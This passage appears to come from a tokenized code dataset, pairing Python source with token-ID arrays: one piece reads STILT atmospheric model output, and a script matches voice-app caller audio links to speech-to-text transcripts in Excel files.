df['wind.speed']=np.sqrt((df['wind.u']**2)+(df['wind.v']**2))
df['co2.ff']=df['co2.fuel.coal']+df['co2.fuel.oil']+df['co2.fuel.gas']
df.set_index(['date'],inplace=True)
#print(df)
return df | [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
5215,
10876,
13,
5215,
2897,
13,
5215,
12655,
408,
7442,
13,
5215,
11701,
408,
10518,
13,
5215,
12865,
408,
11636,
13,
5215,
7787,
29907,
4037,
29946,
408,
274,
2176,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
22889,
29889,
29873,
6541,
408,
286,
29873,
6541,
13,
5215,
7774,
2270,
13,
13823,
2270,
29889,
2917,
1839,
1272,
29918,
3972,
2033,
353,
8207,
1272,
29914,
4836,
29914,
13823,
2270,
22208,
13,
5215,
7774,
2270,
29889,
29883,
2288,
408,
21759,
2288,
13,
5215,
7774,
2270,
29889,
14394,
408,
274,
14394,
13,
3166,
7774,
2270,
29889,
14394,
1053,
18385,
29923,
28696,
19132,
29892,
365,
9468,
29892,
4810,
28938,
18521,
29892,
17900,
29968,
2890,
13,
5215,
4390,
29871,
13,
5215,
7274,
13,
13,
29937,
17518,
306,
3217,
29903,
8492,
29901,
13,
3166,
29871,
4869,
6814,
29889,
6814,
29890,
29889,
29881,
5415,
1053,
360,
5415,
13,
3166,
29871,
4869,
6814,
29889,
29879,
862,
1519,
29889,
3389,
29879,
862,
1519,
1053,
7525,
29903,
862,
1519,
13,
3166,
29871,
4869,
6814,
29889,
29879,
862,
1519,
1053,
805,
279,
1519,
29879,
13,
13,
13,
1357,
29918,
5184,
353,
2897,
29889,
657,
6272,
877,
17353,
1495,
13,
9675,
29889,
2084,
29889,
7851,
29898,
29900,
29892,
1357,
29918,
5184,
23097,
29914,
1482,
29918,
29926,
786,
25547,
29914,
7576,
1495,
13,
3166,
4805,
29918,
29879,
862,
1519,
29879,
1053,
679,
29918,
19569,
29918,
1990,
29892,
679,
29918,
4869,
29918,
303,
800,
29918,
271,
29883,
29918,
13445,
10335,
3545,
396,
29892,
472,
29883,
29918,
19569,
29918,
29873,
945,
261,
29918,
1972,
13,
13,
29937,
10898,
11474,
3939,
363,
716,
27441,
25547,
16046,
2777,
13,
2084,
29918,
303,
2782,
2676,
353,
8207,
1272,
29914,
303,
2782,
2676,
22208,
13,
2084,
29918,
303,
2782,
353,
8207,
1272,
29914,
303,
2782,
22208,
13,
2084,
29918,
287,
5397,
353,
8207,
1272,
29914,
303,
2782,
29914,
6026,
6847,
22208,
13,
29937,
2084,
29918,
26762,
353,
19283,
26762,
22208,
13,
13,
29937,
2683,
2683,
2683,
2683,
2683,
2683,
2683,
489,
13,
13,
1753,
1303,
29918,
4869,
29918,
1272,
29898,
29888,
29918,
4869,
29892,
29873,
945,
261,
29892,
15581,
29922,
5574,
1125,
13,
1678,
565,
313,
2435,
29898,
29888,
29918,
4869,
15410,
29900,
1125,
13,
4706,
4489,
353,
360,
5415,
29898,
29888,
29918,
4869,
29889,
29881,
5415,
29889,
309,
542,
29961,
29900,
14664,
657,
14289,
580,
13,
4706,
4489,
29889,
842,
29918,
2248,
877,
15307,
1254,
19297,
742,
262,
6689,
29922,
5574,
29897,
13,
4706,
565,
7353,
29901,
13,
9651,
565,
313,
29873,
945,
261,
29889,
13609,
580,
1275,
525,
29885,
517,
29374,
13,
18884,
995,
29918,
22724,
353,
29961,
29916,
29889,
6506,
877,
29899,
21979,
3788,
1495,
363,
921,
297,
4489,
29889,
13099,
29961,
2176,
29889,
13099,
29889,
710,
29889,
11516,
877,
21979,
1495,
5262,
13,
18884,
363,
921,
297,
995,
29918,
22724,
29901,
13,
462,
1678,
4489,
29961,
29916,
1822,
2029,
29961,
2176,
29961,
29916,
23097,
29899,
21979,
2033,
29991,
2433,
29949,
2033,
29922,
9302,
29889,
13707,
13,
9651,
1683,
29901,
13,
18884,
4489,
29961,
29873,
945,
261,
29889,
13609,
580,
1822,
2029,
29961,
2176,
1839,
21979,
2033,
29991,
2433,
29949,
2033,
29922,
9302,
29889,
13707,
13,
18884,
4489,
1839,
855,
3359,
13359,
2029,
29961,
2176,
1839,
21979,
2033,
29991,
2433,
29949,
2033,
29922,
9302,
29889,
13707,
13,
4706,
1683,
29901,
13,
9651,
565,
313,
29873,
945,
261,
29889,
13609,
580,
2804,
525,
29885,
517,
29374,
13,
18884,
4489,
29961,
29873,
945,
261,
29889,
13609,
580,
1822,
2029,
29961,
2176,
29961,
29873,
945,
261,
29889,
13609,
580,
29962,
29966,
29900,
29889,
29900,
13192,
9302,
29889,
13707,
13,
18884,
4489,
1839,
855,
3359,
13359,
2029,
29961,
2176,
1839,
855,
3359,
2033,
29966,
29900,
29889,
29900,
13192,
9302,
29889,
13707,
13,
1678,
1683,
29901,
13,
4706,
4489,
353,
10518,
29889,
17271,
29898,
8516,
29897,
13,
1678,
736,
4489,
13,
13,
29937,
2683,
2683,
2683,
2683,
2683,
807,
13,
13,
29937,
740,
304,
3588,
5073,
28745,
322,
26271,
313,
2536,
271,
29892,
2243,
265,
29897,
304,
16285,
310,
6850,
29902,
5850,
1904,
6856,
313,
861,
29892,
29926,
29891,
29897,
13,
1753,
23123,
5066,
29918,
29906,
29918,
861,
29926,
29891,
29898,
2536,
265,
29892,
2536,
271,
29892,
828,
265,
29892,
828,
271,
1125,
13,
1678,
396,
2536,
265,
29892,
2243,
271,
29901,
28745,
322,
26271,
310,
5073,
13,
1678,
396,
828,
265,
29892,
286,
5066,
29901,
29871,
29896,
29899,
6229,
29889,
28745,
322,
26271,
310,
1904,
6856,
13,
1678,
474,
29916,
353,
313,
9302,
29889,
6897,
29898,
828,
265,
29899,
2536,
265,
8106,
1191,
1195,
580,
13,
1678,
432,
29891,
353,
313,
9302,
29889,
6897,
29898,
828,
271,
29899,
2536,
271,
8106,
1191,
1195,
580,
13,
1678,
736,
474,
29916,
29892,
29926,
29891,
13,
13,
29937,
2683,
2683,
2683,
2683,
2683,
807,
13,
13,
29937,
740,
304,
1303,
17568,
2099,
9408,
29954,
1718,
953,
6847,
13,
1753,
1303,
29918,
331,
6847,
29898,
9507,
1125,
13,
268,
13,
1678,
396,
1303,
382,
7698,
14345,
24612,
1336,
6352,
293,
953,
6847,
13,
1678,
396,
26271,
322,
28745,
526,
363,
5224,
2175,
11155,
310,
6856,
3038,
13,
1678,
285,
353,
274,
2176,
29889,
16390,
24541,
29898,
9507,
29897,
13,
1678,
396,
2158,
29898,
29888,
29897,
13,
1678,
953,
275,
29922,
29888,
29889,
20897,
3366,
331,
2333,
3108,
7503,
29892,
29901,
29892,
17531,
29871,
13,
1678,
23123,
29918,
645,
29922,
29888,
29889,
20897,
3366,
12957,
3108,
7503,
29962,
13,
1678,
3405,
29918,
645,
29922,
29888,
29889,
20897,
3366,
5066,
3108,
7503,
29962,
13,
1678,
931,
29922,
29888,
29889,
20897,
3366,
2230,
3108,
7503,
29962,
13,
13,
1678,
396,
10889,
3405,
322,
23123,
304,
3038,
4818,
13,
1678,
270,
12957,
29922,
9302,
29889,
6897,
29898,
12957,
29918,
645,
29961,
29906,
29962,
29899,
12957,
29918,
645,
29961,
29896,
2314,
13,
1678,
270,
5066,
29922,
9302,
29889,
6897,
29898,
5066,
29918,
645,
29961,
29906,
29962,
29899,
5066,
29918,
645,
29961,
29896,
2314,
13,
1678,
953,
275,
29918,
12957,
29922,
12957,
29918,
645,
29974,
29900,
29889,
29945,
29930,
11671,
265,
13,
1678,
953,
275,
29918,
5066,
29922,
5066,
29918,
645,
29974,
29900,
29889,
29945,
29930,
29881,
5066,
13,
13,
1678,
5190,
543,
3366,
29974,
29888,
29889,
20897,
3366,
331,
2333,
16862,
348,
1169,
29974,
3108,
29908,
13,
268,
13,
1678,
12865,
29922,
29883,
2176,
29889,
1949,
29906,
1256,
29898,
29888,
29889,
20897,
3366,
2230,
3108,
7503,
1402,
348,
1169,
29922,
29888,
29889,
20897,
3366,
2230,
16862,
348,
1169,
29897,
13,
268,
13,
1678,
285,
29889,
5358,
580,
13,
268,
13,
1678,
736,
953,
275,
29892,
953,
275,
29918,
12957,
29892,
953,
275,
29918,
5066,
29892,
12865,
29892,
5190,
13,
13,
29937,
2683,
2683,
2683,
2683,
2683,
807,
13,
13,
1753,
1653,
29918,
1254,
29902,
5850,
29918,
27126,
7295,
13,
1678,
396,
3787,
599,
6850,
29902,
5850,
5073,
2472,
297,
263,
8600,
29871,
13,
1678,
396,
13,
1678,
396,
13343,
3743,
2472,
373,
13,
1678,
396,
1678,
6850,
29902,
5850,
5073,
1178,
13,
1678,
396,
1678,
12039,
10350,
313,
5066,
4279,
29892,
28745,
29897,
13,
1678,
396,
1678,
10790,
4279,
310,
16703,
261,
6507,
297,
6850,
29902,
5850,
15030,
362,
13,
1678,
396,
1678,
6850,
29902,
5850,
4423,
15882,
13,
1678,
396,
1678,
12039,
1024,
448,
565,
3625,
29871,
13,
1678,
396,
13,
1678,
396,
679,
599,
306,
3217,
29903,
5073,
23481,
491,
18028,
1014,
11851,
3842,
297,
380,
2782,
2676,
13,
1678,
396,
6597,
4423,
515,
10422,
310,
1544,
13,
13,
1678,
2224,
29918,
303,
800,
353,
2224,
29918,
303,
2782,
2676,
23097,
29914,
303,
800,
22208,
13,
1678,
599,
29918,
303,
800,
353,
2897,
29889,
1761,
3972,
29898,
2084,
29918,
303,
800,
29897,
13,
13,
1678,
396,
4069,
8600,
13,
1678,
16355,
353,
6571,
13,
13,
1678,
396,
5445,
8600,
411,
306,
3217,
29903,
5073,
1178,
29892,
26271,
29892,
28745,
322,
5272,
4279,
13,
1678,
363,
1752,
297,
12705,
29898,
1761,
29898,
842,
29898,
497,
29918,
303,
800,
876,
1125,
13,
4706,
16355,
29961,
391,
29962,
353,
6571,
13,
4706,
396,
679,
10422,
310,
1544,
313,
13492,
380,
2782,
2676,
3884,
3829,
29897,
29871,
13,
4706,
396,
322,
6597,
4423,
2472,
13,
4706,
565,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
29918,
303,
800,
29974,
391,
1125,
13,
9651,
1180,
29918,
1693,
353,
2897,
29889,
949,
2324,
29898,
2084,
29918,
303,
800,
29974,
391,
29897,
13,
9651,
1067,
265,
353,
1180,
29918,
1693,
14352,
29896,
29941,
13018,
29953,
29962,
13,
9651,
23123,
353,
7442,
29889,
7411,
29898,
695,
265,
7503,
29899,
29896,
2314,
13,
9651,
565,
1067,
265,
14352,
29896,
17531,
1275,
525,
29956,
2396,
13,
18884,
23123,
353,
448,
12957,
13,
9651,
1067,
271,
353,
1180,
29918,
1693,
14352,
29906,
29900,
13018,
29896,
29946,
29962,
13,
9651,
3405,
353,
7442,
29889,
7411,
29898,
695,
271,
7503,
29899,
29896,
2314,
13,
9651,
565,
1067,
271,
14352,
29896,
17531,
1275,
525,
29903,
2396,
13,
18884,
3405,
353,
448,
5066,
13,
9651,
5272,
353,
7442,
29889,
524,
29898,
2029,
29918,
1693,
14352,
29945,
29901,
2314,
13,
13,
9651,
16355,
29961,
391,
22322,
5066,
2033,
29922,
5066,
13,
9651,
16355,
29961,
391,
22322,
12957,
2033,
29922,
12957,
13,
9651,
16355,
29961,
391,
22322,
1997,
2033,
29922,
1997,
13,
9651,
16355,
29961,
391,
22322,
2029,
7648,
2033,
29922,
359,
29889,
2084,
29889,
5451,
29898,
2029,
29918,
1693,
9601,
29899,
29896,
29962,
13,
13,
308,
13,
1678,
396,
788,
2472,
373,
5073,
1024,
313,
392,
716,
6850,
29902,
5850,
5073,
1178,
29897,
515,
16355,
29889,
7638,
934,
1304,
297,
380,
2782,
2676,
29871,
13,
13,
1678,
3142,
543,
991,
597,
303,
2782,
29889,
4869,
29899,
6814,
29889,
12932,
29914,
29894,
15580,
29914,
19569,
3888,
29908,
13,
1678,
4489,
353,
10518,
29889,
949,
29918,
7638,
29898,
2271,
29897,
13,
13,
1678,
363,
1752,
297,
12705,
29898,
1761,
29898,
842,
29898,
303,
800,
876,
1125,
13,
4706,
5073,
1170,
353,
4489,
29889,
2029,
29961,
2176,
1839,
1254,
29902,
5850,
1178,
2033,
1275,
1752,
22322,
1254,
29902,
5850,
1024,
2033,
13,
4706,
565,
7431,
29898,
19569,
1170,
29889,
1767,
29918,
2798,
29879,
3101,
1405,
29871,
29900,
29901,
13,
9651,
16355,
29961,
391,
22322,
978,
2033,
353,
5073,
1170,
29889,
667,
580,
13,
4706,
1683,
29901,
13,
9651,
16355,
29961,
391,
22322,
978,
2033,
353,
6629,
13,
13,
1678,
396,
3617,
1051,
310,
306,
3217,
29903,
770,
29871,
29896,
322,
770,
29871,
29906,
16355,
515,
1704,
6718,
28612,
13,
1678,
396,
1972,
353,
805,
279,
1519,
29879,
29889,
657,
29918,
19569,
29918,
1990,
580,
13,
1678,
2346,
353,
679,
29918,
19569,
29918,
1990,
580,
13,
1678,
19200,
353,
525,
15112,
29915,
13,
1678,
4489,
29918,
4130,
17219,
353,
7525,
29903,
862,
1519,
29898,
1972,
29892,
19200,
467,
3389,
580,
13,
13,
1678,
396,
788,
2472,
565,
306,
3217,
29903,
770,
29871,
29896,
470,
770,
29871,
29906,
3268,
13,
1678,
396,
788,
306,
3217,
29903,
5073,
1024,
13,
1678,
363,
1752,
297,
12705,
29898,
1761,
29898,
842,
29898,
303,
800,
876,
1125,
13,
4706,
16355,
29961,
391,
22322,
19569,
2385,
2033,
353,
7442,
29889,
13707,
13,
4706,
16355,
29961,
391,
22322,
4869,
1170,
2033,
353,
6629,
13,
4706,
16355,
29961,
391,
22322,
4869,
1204,
2033,
353,
6629,
13,
4706,
16355,
29961,
391,
22322,
4869,
29931,
265,
2033,
353,
7442,
29889,
13707,
13,
4706,
16355,
29961,
391,
22322,
4869,
13992,
2033,
353,
7442,
29889,
13707,
4706,
13,
4706,
363,
1752,
2965,
3267,
297,
4489,
29918,
4130,
17219,
1839,
19569,
1204,
2033,
29901,
13,
9651,
16077,
353,
938,
29898,
2176,
29918,
4130,
17219,
29961,
2176,
29918,
4130,
17219,
1839,
19569,
1204,
2033,
1360,
391,
2965,
3267,
1822,
2248,
29889,
5975,
29897,
13,
9651,
565,
1752,
2965,
3267,
297,
1752,
29901,
13,
18884,
16355,
29961,
391,
22322,
19569,
2385,
2033,
353,
938,
29898,
2176,
29918,
4130,
17219,
1839,
19569,
2385,
2033,
29961,
293,
2314,
13,
18884,
16355,
29961,
391,
22322,
4869,
1170,
2033,
353,
4489,
29918,
4130,
17219,
1839,
5426,
1170,
2033,
29961,
293,
29962,
13,
18884,
16355,
29961,
391,
22322,
4869,
1204,
2033,
353,
4489,
29918,
4130,
17219,
1839,
19569,
1204,
2033,
29961,
293,
29962,
13,
18884,
16355,
29961,
391,
22322,
4869,
29931,
265,
2033,
353,
5785,
29898,
2176,
29918,
4130,
17219,
1839,
12957,
2033,
29961,
293,
2314,
13,
18884,
16355,
29961,
391,
22322,
4869,
13992,
2033,
353,
5785,
29898,
2176,
29918,
4130,
17219,
1839,
5066,
2033,
29961,
293,
2314,
13,
462,
13,
13,
1678,
396,
788,
3625,
23460,
3171,
29879,
13,
1678,
396,
1284,
599,
1302,
29906,
848,
2066,
363,
5073,
13,
1678,
2346,
353,
679,
29918,
4869,
29918,
303,
800,
29918,
271,
29883,
29918,
13445,
10335,
3545,
580,
13,
1678,
19200,
353,
525,
15112,
29915,
13,
1678,
4489,
29918,
4130,
17219,
29918,
29882,
4141,
353,
7525,
29903,
862,
1519,
29898,
1972,
29892,
19200,
467,
3389,
580,
13,
1678,
363,
1752,
297,
12705,
29898,
1761,
29898,
842,
29898,
303,
800,
876,
1125,
13,
4706,
16355,
29961,
391,
22322,
4869,
7011,
2033,
353,
7442,
29889,
13707,
13,
4706,
565,
313,
2435,
29898,
303,
800,
29961,
391,
22322,
4869,
1170,
11287,
1405,
29871,
29900,
1125,
13,
9651,
3171,
29879,
353,
4489,
29918,
4130,
17219,
29918,
29882,
4141,
29961,
2176,
29918,
4130,
17219,
29918,
29882,
4141,
1839,
19569,
1204,
2033,
1360,
391,
29961,
29900,
29901,
29941,
5262,
1839,
3545,
13359,
13092,
580,
13,
9651,
4686,
353,
7442,
29889,
13707,
13,
9651,
565,
313,
2435,
29898,
3545,
29879,
29897,
1405,
29871,
29900,
1125,
13,
18884,
565,
313,
2435,
29898,
391,
29961,
29941,
29901,
2314,
1360,
29900,
1125,
13,
462,
1678,
4686,
353,
938,
29898,
7411,
29898,
3545,
29879,
29961,
29900,
12622,
13,
18884,
1683,
29901,
13,
462,
1678,
4686,
353,
518,
524,
29898,
7411,
29898,
295,
876,
363,
560,
297,
3171,
29879,
565,
313,
6897,
29898,
524,
29898,
7411,
29898,
295,
876,
29899,
524,
29898,
391,
29961,
29941,
29901,
12622,
29966,
29953,
4638,
13,
9651,
565,
338,
8758,
29898,
4861,
29892,
1051,
1125,
13,
18884,
565,
313,
2435,
29898,
4861,
29897,
1275,
29871,
29900,
1125,
13,
462,
1678,
16355,
29961,
391,
22322,
4869,
7011,
2033,
353,
7442,
29889,
13707,
13,
18884,
1683,
29901,
13,
462,
1678,
16355,
29961,
391,
22322,
4869,
7011,
2033,
353,
4686,
29961,
29900,
29962,
13,
9651,
1683,
29901,
13,
18884,
16355,
29961,
391,
22322,
4869,
7011,
2033,
353,
4686,
13,
13,
1678,
396,
1596,
8600,
13,
1678,
396,
1454,
1752,
297,
12705,
29898,
303,
800,
1125,
13,
1678,
396,
1678,
1596,
6702,
19569,
29901,
742,
1752,
29897,
13,
1678,
396,
1678,
363,
413,
297,
16355,
29961,
391,
5387,
13,
1678,
396,
4706,
1596,
313,
29895,
29892,
2396,
742,
16355,
29961,
391,
3816,
29895,
2314,
13,
13,
1678,
396,
2436,
8600,
304,
4390,
934,
363,
4340,
671,
13,
1678,
565,
2897,
29889,
5943,
877,
6904,
742,
2897,
29889,
29956,
29918,
8949,
1125,
13,
4706,
411,
1722,
703,
303,
800,
21533,
613,
376,
29893,
1159,
408,
714,
1445,
29901,
13,
9651,
4390,
29889,
15070,
29898,
303,
800,
29892,
714,
1445,
29897,
13,
13,
1678,
736,
16355,
13,
268,
13,
29937,
2683,
2683,
2683,
2683,
2683,
9072,
29899,
268,
13,
13,
1753,
1303,
29918,
1254,
29902,
5850,
29918,
27126,
7295,
13,
1678,
396,
1303,
6850,
29902,
5850,
5073,
8600,
515,
4390,
934,
13,
13,
1678,
565,
2897,
29889,
2084,
29889,
9933,
703,
303,
800,
21533,
29908,
1125,
13,
4706,
411,
1722,
703,
303,
800,
21533,
1159,
408,
4390,
1445,
29901,
13,
9651,
16355,
353,
4390,
29889,
1359,
29898,
3126,
1445,
29897,
13,
1678,
1683,
29901,
13,
4706,
1596,
703,
1217,
6850,
29902,
5850,
5073,
8600,
1476,
1159,
13,
4706,
16355,
3790,
29913,
13,
13,
1678,
736,
16355,
13,
13,
29937,
2683,
2683,
2683,
2683,
2683,
2683,
13,
13,
1753,
1596,
29918,
1254,
29902,
5850,
29918,
27126,
29898,
303,
2782,
29918,
303,
800,
1125,
13,
268,
13,
1678,
565,
451,
380,
2782,
29918,
303,
800,
29901,
13,
4706,
396,
1303,
6850,
29902,
5850,
5073,
8600,
515,
4390,
934,
13,
4706,
380,
2782,
29918,
303,
800,
353,
1303,
29918,
1254,
29902,
5850,
29918,
27126,
580,
13,
13,
1678,
396,
1596,
8600,
13,
1678,
363,
1752,
297,
12705,
29898,
303,
2782,
29918,
303,
800,
1125,
13,
4706,
1596,
6702,
19569,
29901,
742,
1752,
29897,
13,
4706,
363,
413,
297,
380,
2782,
29918,
303,
800,
29961,
391,
5387,
13,
9651,
1596,
313,
29895,
29892,
2396,
742,
380,
2782,
29918,
303,
800,
29961,
391,
3816,
29895,
2314,
13,
4706,
1596,
877,
25710,
13,
13,
29937,
2683,
2683,
2683,
2683,
9072,
489,
13,
29937,
740,
304,
1303,
6850,
29902,
5850,
931,
3652,
411,
7234,
368,
14953,
800,
363,
390,
4214,
29949,
323,
29896,
29889,
29941,
13,
1753,
1303,
29918,
303,
2782,
29918,
3706,
6358,
29918,
29934,
4214,
29949,
29918,
29911,
29896,
29941,
29898,
19569,
29892,
6360,
29892,
2029,
29918,
1693,
1125,
13,
1678,
10422,
29922,
2084,
29918,
303,
2782,
23097,
12191,
29918,
29934,
4214,
29949,
29918,
29911,
29896,
29889,
29941,
29918,
1688,
29914,
18717,
19569,
23097,
29914,
303,
309,
5888,
499,
18717,
710,
29898,
6360,
7240,
29915,
29916,
18717,
2029,
29918,
1693,
29974,
4286,
7638,
29915,
13,
1678,
4489,
29922,
10518,
29889,
949,
29918,
7638,
29898,
9507,
29892,
6144,
326,
29918,
1332,
3246,
3535,
29922,
5574,
29897,
13,
1678,
4489,
29889,
1256,
353,
10518,
29889,
517,
29918,
12673,
29898,
2176,
29961,
1839,
6360,
742,
525,
10874,
742,
525,
3250,
742,
525,
18721,
2033,
2314,
13,
1678,
4489,
29889,
978,
353,
5073,
13,
1678,
4489,
29889,
4299,
353,
525,
1254,
29902,
5850,
29915,
13,
1678,
4489,
1839,
14800,
29889,
19322,
2033,
29922,
9302,
29889,
3676,
3552,
2176,
1839,
14800,
29889,
29884,
2033,
1068,
29906,
7240,
29898,
2176,
1839,
14800,
29889,
29894,
2033,
1068,
29906,
876,
13,
1678,
4489,
1839,
1111,
29906,
29889,
600,
2033,
29922,
2176,
1839,
1111,
29906,
29889,
29888,
2491,
29889,
1111,
284,
2033,
29974,
2176,
1839,
1111,
29906,
29889,
29888,
2491,
29889,
29877,
309,
2033,
29974,
2176,
1839,
1111,
29906,
29889,
29888,
2491,
29889,
25496,
2033,
13,
1678,
4489,
29889,
842,
29918,
2248,
18959,
1256,
7464,
262,
6689,
29922,
5574,
29897,
13,
1678,
396,
2158,
29898,
2176,
29897,
13,
1678,
736,
4489,
13,
13,
29937,
2683,
2683,
2683,
2683,
9072,
489,
13,
29937,
740,
304,
1303,
6850,
29902,
5850,
931,
3652,
411,
7234,
368,
14953,
800,
363,
390,
4214,
29949,
323,
29896,
29889,
29941,
29892,
4784,
411,
901,
6850,
29902,
5850,
6057,
13,
1753,
1303,
29918,
303,
2782,
29918,
3706,
6358,
29918,
29934,
4214,
29949,
29918,
29911,
29896,
29941,
29918,
5504,
29898,
19569,
29892,
6360,
29892,
2029,
29918,
1693,
1125,
13,
1678,
10422,
29922,
2084,
29918,
303,
2782,
23097,
12191,
29918,
29934,
4214,
29949,
29918,
29911,
29896,
29889,
29941,
29918,
1688,
29914,
18717,
19569,
23097,
29914,
303,
309,
5888,
499,
18717,
710,
29898,
6360,
7240,
29915,
29916,
18717,
2029,
29918,
1693,
29974,
4286,
7638,
29915,
13,
1678,
4489,
29922,
10518,
29889,
949,
29918,
7638,
29898,
9507,
29892,
6144,
326,
29918,
1332,
3246,
3535,
29922,
5574,
29897,
13,
1678,
4489,
29889,
1256,
353,
10518,
29889,
517,
29918,
12673,
29898,
2176,
29961,
1839,
6360,
742,
525,
10874,
742,
525,
3250,
742,
525,
18721,
2033,
2314,
13,
1678,
4489,
29889,
978,
353,
5073,
13,
1678,
4489,
29889,
4299,
353,
525,
1254,
29902,
5850,
29915,
13,
1678,
4489,
1839,
14800,
29889,
19322,
2033,
29922,
9302,
29889,
3676,
3552,
2176,
1839,
14800,
29889,
29884,
2033,
1068,
29906,
7240,
29898,
2176,
1839,
14800,
29889,
29894,
2033,
1068,
29906,
876,
13,
1678,
4489,
1839,
1111,
29906,
29889,
600,
2033,
29922,
2176,
1839,
1111,
29906,
29889,
29888,
2491,
29889,
1111,
284,
2033,
29974,
2176,
1839,
1111,
29906,
29889,
29888,
2491,
29889,
29877,
309,
2033,
29974,
2176,
1839,
1111,
29906,
29889,
29888,
2491,
29889,
25496,
2033,
13,
1678,
4489,
29889,
842,
29918,
2248,
18959,
1256,
7464,
262,
6689,
29922,
5574,
29897,
13,
1678,
396,
2158,
29898,
2176,
29897,
13,
1678,
736,
4489,
2
] |
bring_in_stt.py | ICTD-IITD/Voice_App_Automated_QnA | 1 | 151454 | <filename>bring_in_stt.py
import pandas as pd
from bs4 import BeautifulSoup
import requests
def get_unique_index(url):
if url.endswith('.mp3'):
return url
r = requests.get(url)
soup = BeautifulSoup(r.content,'html.parser')
links = soup.findAll('a')
mp3_links = [link['href'] for link in links if link['href'].endswith('mp3')]
if len(mp3_links) == 0:
print(url)
return url
link=mp3_links[0]
return 'http://voice.gramvaani.org' + link
df_stt = pd.read_excel('data/Q_A_STT_Transcribed.xlsx', sheet_name=0)
df = pd.read_excel('data/jeevika_final.xlsx', sheet_name=0).fillna('')
df_stt2 = pd.read_excel('data/jeevika_stt.xlsx', sheet_name=0)
df['STT Transcript'] = df['Caller query']
need_stt = []
for i,r in df.iterrows():
df_ = df_stt[df_stt['Caller query'] == r['Caller query']]
df_2 = df_stt2[(df_stt2['Public Link'] == r['Caller query'])|(df_stt2['Recording audio link'] == r['Caller query'])]
if len(df_) > 0:
stt = list(df_['STT Transcript'])[0]
df.loc[i, 'STT Transcript'] = stt
elif len(df_2) > 0:
stt = list(df_2['ML transcript'])[0]
df.loc[i, 'STT Transcript'] = stt
elif df.loc[i, 'Caller query']!='':
df.loc[i, 'STT Transcript'] = df.loc[i, 'Caller query transcription']
need_stt.append(get_unique_index(df.loc[i, 'Caller query']))
df.to_excel('data/jeevika_final_stt.xlsx', index = False)
df_ = pd.DataFrame({'Caller query': need_stt})
df_.to_excel('data/need_jee_stt.xlsx', index = False)
df_stt = pd.read_excel('data/paj_stt.xlsx', sheet_name=0)
df = pd.read_excel('data/paj_final.xlsx', sheet_name=0).fillna('')
df['STT Transcript'] = df['Caller query']
need_stt = []
for i,r in df.iterrows():
df_ = df_stt[(df_stt['Public Link'] == r['Caller query'])|(df_stt['Recording audio link'] == r['Caller query'])]
if len(df_) > 0:
stt = list(df_['ML transcript'])[0]
df.loc[i, 'STT Transcript'] = stt
elif df.loc[i, 'Caller query']!='':
df.loc[i, 'STT Transcript'] = df.loc[i, 'Caller query transcription']
need_stt.append(get_unique_index(df.loc[i, 'Caller query']))
df.to_excel('data/paj_final_stt.xlsx', index = False)
df_ = pd.DataFrame({'Caller query': need_stt})
df_.to_excel('data/need_stt_paj.xlsx', index = False)
| [
1,
529,
9507,
29958,
1182,
292,
29918,
262,
29918,
303,
29873,
29889,
2272,
13,
5215,
11701,
408,
10518,
13,
3166,
24512,
29946,
1053,
25685,
29903,
1132,
13,
5215,
7274,
13,
13,
1753,
679,
29918,
13092,
29918,
2248,
29898,
2271,
1125,
13,
1678,
565,
3142,
29889,
1975,
2541,
12839,
1526,
29941,
29374,
13,
4706,
736,
3142,
13,
1678,
364,
353,
7274,
29889,
657,
29898,
2271,
29897,
13,
268,
13,
1678,
22300,
353,
25685,
29903,
1132,
29898,
29878,
29889,
3051,
5501,
1420,
29889,
16680,
1495,
13,
1678,
2988,
353,
22300,
29889,
2886,
3596,
877,
29874,
1495,
13,
1678,
22326,
29941,
29918,
4965,
353,
518,
2324,
1839,
12653,
2033,
363,
1544,
297,
2988,
565,
1544,
1839,
12653,
13359,
1975,
2541,
877,
1526,
29941,
1495,
29962,
13,
1678,
565,
7431,
29898,
1526,
29941,
29918,
4965,
29897,
1275,
29871,
29900,
29901,
13,
4706,
1596,
29898,
2271,
29897,
13,
4706,
736,
3142,
13,
1678,
1544,
29922,
1526,
29941,
29918,
4965,
29961,
29900,
29962,
13,
1678,
736,
525,
1124,
597,
14917,
29889,
1393,
1564,
3270,
29889,
990,
29915,
718,
1544,
13,
13,
2176,
29918,
303,
29873,
353,
10518,
29889,
949,
29918,
24633,
877,
1272,
29914,
29984,
29918,
29909,
29918,
1254,
29911,
29918,
4300,
23059,
29889,
20267,
29916,
742,
9869,
29918,
978,
29922,
29900,
29897,
13,
2176,
353,
10518,
29889,
949,
29918,
24633,
877,
1272,
29914,
1324,
5750,
4106,
29918,
8394,
29889,
20267,
29916,
742,
9869,
29918,
978,
29922,
29900,
467,
5589,
1056,
877,
1495,
13,
2176,
29918,
303,
29873,
29906,
353,
10518,
29889,
949,
29918,
24633,
877,
1272,
29914,
1324,
5750,
4106,
29918,
303,
29873,
29889,
20267,
29916,
742,
9869,
29918,
978,
29922,
29900,
29897,
13,
2176,
1839,
1254,
29911,
4103,
924,
2033,
353,
4489,
1839,
5594,
261,
2346,
2033,
13,
26180,
29918,
303,
29873,
353,
5159,
13,
1454,
474,
29892,
29878,
297,
4489,
29889,
1524,
5727,
7295,
13,
1678,
4489,
29918,
353,
4489,
29918,
303,
29873,
29961,
2176,
29918,
303,
29873,
1839,
5594,
261,
2346,
2033,
1275,
364,
1839,
5594,
261,
2346,
2033,
29962,
13,
1678,
4489,
29918,
29906,
353,
4489,
29918,
303,
29873,
29906,
15625,
2176,
29918,
303,
29873,
29906,
1839,
19858,
6645,
2033,
1275,
364,
1839,
5594,
261,
2346,
2033,
10531,
29898,
2176,
29918,
303,
29873,
29906,
1839,
4789,
3278,
10348,
1544,
2033,
1275,
364,
1839,
5594,
261,
2346,
2033,
4638,
13,
1678,
565,
7431,
29898,
2176,
19925,
1405,
29871,
29900,
29901,
13,
4706,
380,
29873,
353,
1051,
29898,
2176,
29918,
1839,
1254,
29911,
4103,
924,
2033,
9601,
29900,
29962,
13,
4706,
4489,
29889,
2029,
29961,
29875,
29892,
525,
1254,
29911,
4103,
924,
2033,
353,
380,
29873,
13,
1678,
25342,
7431,
29898,
2176,
29918,
29906,
29897,
1405,
29871,
29900,
29901,
13,
4706,
380,
29873,
353,
1051,
29898,
2176,
29918,
29906,
1839,
1988,
1301,
924,
2033,
9601,
29900,
29962,
13,
4706,
4489,
29889,
2029,
29961,
29875,
